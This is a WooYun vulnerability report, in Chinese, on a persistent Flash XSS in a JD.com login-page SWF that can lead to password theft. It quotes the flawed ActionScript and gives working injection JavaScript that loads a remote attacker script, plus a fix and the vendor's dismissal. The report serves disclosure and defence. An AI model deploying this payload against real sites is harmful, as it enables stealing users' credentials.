当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:
漏洞标题:
京东登录页面XSS Rookit可致用户密码被窃取 (乌云峰会视频演示-0x03)
相关厂商:
漏洞作者:
提交时间:
2014-09-14 13:53
修复时间:
2014-09-19 13:54
公开时间:
2014-09-19 13:54
漏洞类型:
xss跨站脚本攻击
危害等级:
自评Rank:
15
漏洞状态:
漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源:
http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签:
分享漏洞:
4人收藏 收藏
分享漏洞:

>

漏洞详情

披露状态:

2014-09-14: 细节已通知厂商并且等待厂商处理中
2014-09-19: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

乌云峰会视频演示-0x03

详细说明:

1. 缺陷文件:http://misc.360buyimg.com/purchase/swf/flashcookie.swf
2. 缺陷代码:

if (this.checkSaveReady()){
trackID = ExternalInterface.call("returnCookieByKey", "TrackID");
this.saveFlashCookie("TrackID", trackID);
} else {
saveTimer = new Timer(100, 0);
saveTimer.addEventListener(TimerEvent.TIMER, this.saveTimeHandler);
saveTimer.start();
};


3. 可以看到,要进入saveFlashCookie 这个流程,需要checkSaveReady()返回真,checkSaveReady的返回值来自于 ExternalInterface.call("isSaveReady");同时, saveFlashCookie 的第2个参数来自 ExternalInterface.call("returnCookieByKey", "TrackID");
4. 基于此,可以构造 isSaveReady和returnCookieByKey
另外,在FLASH初始化时,会调用 getFlashCookie函数,该函数最终会调用
ExternalInterface.call(_local1, _local3);
其中_local3来自于 FLASH本地存储数据中的TrackID
构造的代码如下:

function isSaveReady(){
return true;
}
function getFlashCookie(){
}
function returnCookieByKey(){
if(window.ActiveXObject){
return '\\")));var m=document.createElement(\'script\');m.src=\''+evilcodes+'?\'+Math.random();document.body.appendChild(m);}catch(e){}//';
}else{
return '\\"));alert(document.domain)}catch(e){}//';
}
}


漏洞证明:

http://v.youku.com/v_show/id_XNzc3MzM0MTU2.html
密码:wooyunsummit
此外,由于京东的开发人员在使用写代码时,没有注意chrome下 https协议的页面无法正常调用http协议下的FLASH文件,导致这个FLASH XSS漏洞在chrome下无法正常执行,但IE下是可以的,因此视频中使用IE作为演示。

修复方案:

对getFlashCookie中或其他函数中进入ExternalInterface.call 函数的数据,进行必要的过滤,一般要求第一个参数写死,第2个参数,过滤掉 \ ,在不影响业务的前提下,可以尽量避免特殊字符的处理,仅允许纯数字或字母进入。

版权声明:转载请注明来源 多多关照@乌云


>

漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-09-19 13:54

厂商回复:

漏洞Rank:10 (WooYun评价)

最新状态:

暂无